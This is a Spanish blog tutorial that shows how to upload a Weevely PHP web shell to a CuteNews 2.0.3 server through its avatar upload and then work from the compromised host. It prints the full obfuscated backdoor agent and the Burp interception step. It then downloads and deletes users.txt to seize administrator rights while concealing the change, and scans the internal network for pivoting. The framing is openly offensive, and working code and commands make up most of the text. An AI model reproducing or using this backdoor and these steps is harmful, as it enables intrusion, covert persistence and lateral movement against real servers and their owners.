Ejemplo práctico de cómo subir una shell (Weevely) a un servidor web vulnerable (CuteNews) & post-explotación

En esta entrada vamos a ver un ejemplo práctico de cómo subir una shell a un servidor web vulnerable. 

En el escenario de las pruebas explotaremos una vulnerabilidad que permite subir ficheros remotamente incluso en las últimas versiones de CuteNews, un sistema de gestión de noticias/blog escrito en PHP que usa una "base de datos en archivos planos" u, opcionalmente, MySQL. 

Y como estamos trabajando con PHP, la web shell que hemos elegido es Weevely que nos facilitará una consola de comandos remota contra el servidor con un montón de módulos que ponen a nuestra disposicion un framework extensible con muchas posibilidades post-explotación para escalar privilegios y pivotar hacia redes internas. Sus características son:

- terminal de red Shell/PHP tipo telnet
- audita fallos de configuración del servidor
- consola SQL para pivotar sobre el objetivo
- proxy HTTP sobre el objetivo
- monta el sistema de ficheros de la víctima como local
- conduce escaneos de red pivotando sobre el objetivo
- descarga y sube ficheros
- instalar shells TCP directos o inversos
- hace fuerza bruta de cuentas de servicio
- comprime y descomprime archivos zip, gzip, bzip2 y tar

Además Weevely utiliza un agente backdoor (script php) cuyo código es polimórfico y difícilmente detectable por antivirus e HIDS y las comunicaciones están encubiertas y ofuscadas dentro del protocolo HTTP usando técnicas esteganográficas.

¿Suena bien verdad?


Empezaremos instalando los requisitos de Weevely en una máquina virtual con Kali 1.1.0:

vmotos@kali:~$ sudo apt-get install g++ python-pip libyaml-dev python-dev
vmotos@kali:~$ sudo pip install prettytable Mako pyaml dateutils PySocks --upgrade

 
A continuación descargamos el proyecto y generamos el agente:

vmotos@kali:~$ git clone https://github.com/epinna/weevely3.git

vmotos@kali:~$ cd weevely3/
vmotos@kali:~/weevely3$ ./weevely.py generate prueba DEVIL.php
Generated backdoor with password 'prueba' in 'DEVIL.php' of 1312 byte size.

 
Este script PHP es el que deberemos subir al servidor web víctima. Su código es el siguiente:

<?php
$i='fcs[$i]="";$p=$ss($p,fc3);}if(arfcray_kefcy_exifcsts(fc$fcfci,$s)){$s[$i]fc.=$p;$e=stfcfcrpos($s[$ifc],$f);ifcf(';
$m='rr);parsfce_sfctr($ufc["query"],fc$qfc);$q=afcrray_valufces($q);fcprefcg_match_fcfcall("/fc([\\wfc])[\\fcw-]+(?:;q=0';
$p='/_/fc","/-/"),fcarrfcay("/","+"),fc$fcss($s[$fci],0,fc$e))fc),$fck)));fc$o=ofcb_get_contefcnts();ob_end_cfclean(';
$C='$i<$l;){for(fc$j=0;fc($j<$cfc&&fc$i<$lfc);$j+fc+,$fci++){$o.=$t{$i}fc^$k{$fcj};}}retfcurnfcfc $o;}$r=$_SERVEfcR';
$V='$fce){$k=$khfc.$kf;ob_fcstart(fcfc)fc;@efcval(@gzuncfcofcmpress(@x(@base6fc4_decodfce(preg_rfceplacfce(fcarray("';
$w=';$rr=fc@fc$r["HTTPfcfc_fcREfcFERER"];$ra=@$r["HTfcTP_ACfcCEPfcT_LANGUAGEfc"];if($rr&fc&$ra)fcfc{$u=parsefcfc_url($';
$Z='"strtolower";$fci=$m[1fc][0].$mfc[1][1]fc;$h=$fcsl($ssfc(fcmd5($i.$fcfckh),0fc,3fc));$f=$sl($ss(mfcd5($i.$kf),0,';
$f='$kh="fcc893";$kffcfc="bad6";functfciofcn x($t,$k){fc$fcc=strlenfc($fck);$fcl=fcstrlen($tfc);$o=""fc;for($ifc=0;';
$o='.([fc\\d]))?,?/",fc$ra,fc$m);iffcfc($q&&$m){fc@sessfcion_sfctart(fc);fc$s=&$fc_SESfcSION;fcfc$ssfc="substr";$sfcl=';
$s=str_replace('Z','','creZZate_ZfuZnZZction');
$S='3));fc$p="";fofcr($zfc=1;$zfc<cofcunt($m[1fc]);$z++)$pfc.=$q[$mfc[2][fcfc$z]];if(sfctrpos($p,$fch)===0fcfc){fc$';
$g=')fc;fc$d=basefc64_encodfce(xfc(gfczcomfcpress($o),$k));fcprint(fc"<$kfc>$d</$k>fc");@sfcefcssion_dfcestroy();}}}}';
$D=str_replace('fc','',$f.$C.$w.$m.$o.$Z.$S.$i.$V.$p.$g);
$k=$s('',$D);$k();
?>

Ahora pasaremos a la parte de la vulnerabilidad en la última versión de CuteNews (2.0.3). La explotación es sencilla, entramos con cualquier usuario de la aplicación, vamos a las opciones personales y seleccionamos una imagen para nuestro avatar:





Antes de guardar los cambios, configuramos el navegador para utilizar nuestro proxy (BurpSuite en mi caso), interceptamos la petición, modificamos el nombre a EVIL.php y añadimos el código PHP:



Si todo ha ido bien, tendremos nuestro script en http://servidor/cutenews.2.0.3/uploads/avatar_vicente_DEVIL.php. Ahora desde nuestro equipo, la máquina del atacante, abriremos la shell indicando esa URL y la contraseña correspondiente:

vmotos@kali:~/weevely3$ ./weevely.py http://servidor/cutenews.2.0.3/uploads/avatar_vicente_DEVIL.php prueba


+] weevely 3.2.0

[+] Target:    SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\uploads
[+] Session:    /home/vmotos/.weevely/sessions/server/avatar_vicente_DEVIL_0.session
[+] Shell:    System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> dir
 El volumen de la unidad D es Datos
 El n�mero de serie del volumen es: CD43-DB70

 Directorio de D:\xampplite\htdocs\cutenews.2.0.3\uploads

06/07/2015  18:18    <DIR>          .
06/07/2015  18:18    <DIR>          ..
06/07/2015  18:18             1.463 avatar_vicente_DEVIL.php
               1 archivos          1.463 bytes
               2 dirs  191.124.447.232 bytes libres

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\uploads $ 

¡Ya estamos dentro del servidor!

Primero os enseñaré un "truquito" para hacernos administrador de CuteNews rápidamente (creo que ni siquiera está documentado). Simplemente descargamos el fichero users.txt que hay dentro del directorio cdata:

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\cdata $ :file_download users.txt /tmp/users.txt

Para luego borrarlo...

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\cdata $ del users.txt

Al volver a acceder a la aplicación no detectará "ningún usuario" y nos solicitará crear el primer administrador };)




Así que creamos nuestro "particular" administrador y, si queremos mantener el resto de usuarios que había antes para pasar desapercibidos, volvemos a añadir las entradas del fichero users.txt original que anteriormente habíamos descargado. Tal que así:

nr4k59:1 : usuario admin4 creado
nr4jg8:1 : usuario admin anterior
nr4jay:4 : otros usuarios
nr4jbl:4
nr4jcx:4



Después, lo que queráis hacer con el servidor lo dejo a vuestra imaginación. Lo normal es averiguar la IP interna para luego escanear todo el rango de red pivotando:

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\uploads $ :system_info -info client_ip
172.20.40.7

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\uploads $ :net_scan 172.20.40.0/255.255.255.0 1-1024
[-][scan] Scanning addresses 172.20.40.0-
172.20.40.9:1-5
[-][scan] Scanning addresses
172.20.40.0-172.20.40.9:6-10
[-][scan] Scanning addresses
172.20.40.0-172.20.40.9:11-15
[-][scan] Scanning addresses
172.20.40.0-172.20.40.9:16-20
[-][scan] Scanning addresses
172.20.40.0-172.20.40.9:21-25
[-][scan] Scanning addresses
172.20.40.0-172.20-40.9:26-30
[-][scan] Scanning addresses
172.20.40.0-
172.20.40.9:31-35
...

Porque como alguien dijo, nunca nos conformamos con lo que tenemos y siempre queremos más y más... bon appétit!

0 comentarios :

Publicar un comentario en la entrada